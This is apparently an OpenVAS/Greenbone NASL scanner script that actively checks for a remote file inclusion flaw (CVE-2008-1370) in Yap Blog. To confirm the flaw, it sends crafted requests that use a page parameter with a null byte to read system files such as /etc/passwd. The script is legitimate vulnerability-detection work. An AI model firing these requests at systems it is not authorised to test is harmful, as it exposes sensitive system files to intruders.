Yap Blog < 1.1.1 RFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100046");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");

  script_cve_id("CVE-2008-1370");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Yap Blog < 1.1.1 RFI Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Yap Blog is prone to a remote file inclusion (RFI)
  vulnerability because it fails to sufficiently sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting this issue may allow an attacker to compromise the
  application and the underlying system. Other attacks are also possible.");

  script_tag(name:"affected", value:"Yap Blog prior to version 1.1.1.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210121180740/https://www.securityfocus.com/bid/28120/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) )
  exit( 0 );

files = traversal_files();

foreach dir( make_list_unique( "/blog", "/yap", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" )
    dir = "";

  res = http_get_cache( port:port, item:dir + "/index.php" );
  if( ! res || res !~ "^HTTP/1\.[01] 200" ||
      ( "/themes/" >!< res && "/datas/" >!< res && "/rss.php" >!< res ) )
    continue;

  foreach pattern( keys( files ) ) {

    file = files[pattern];

    url = dir + "/index.php?page=/" + file + "%00";

    if( http_vuln_check( port:port, url:url, pattern:pattern, check_header:TRUE ) ) {
      report = http_report_vuln_url( port:port, url:url );
      security_message( port:port, data:report );
      exit( 0 );
    } else {
      # nb: etc/passwd not readable. Perhaps windows or open basedir enabled. Try to include yap rss.php. If included this results in "Cannot modify header..."
      url = dir + "/index.php?page=rss.php%00";

      if( http_vuln_check( port:port, url:url, check_header:FALSE,
                           pattern:"Cannot modify header information - headers already sent.*" ) ) {
        report = http_report_vuln_url( port:port, url:url );
        security_message( port:port, data:report );
        exit( 0 );
      }
    }
  }
}

exit( 0 );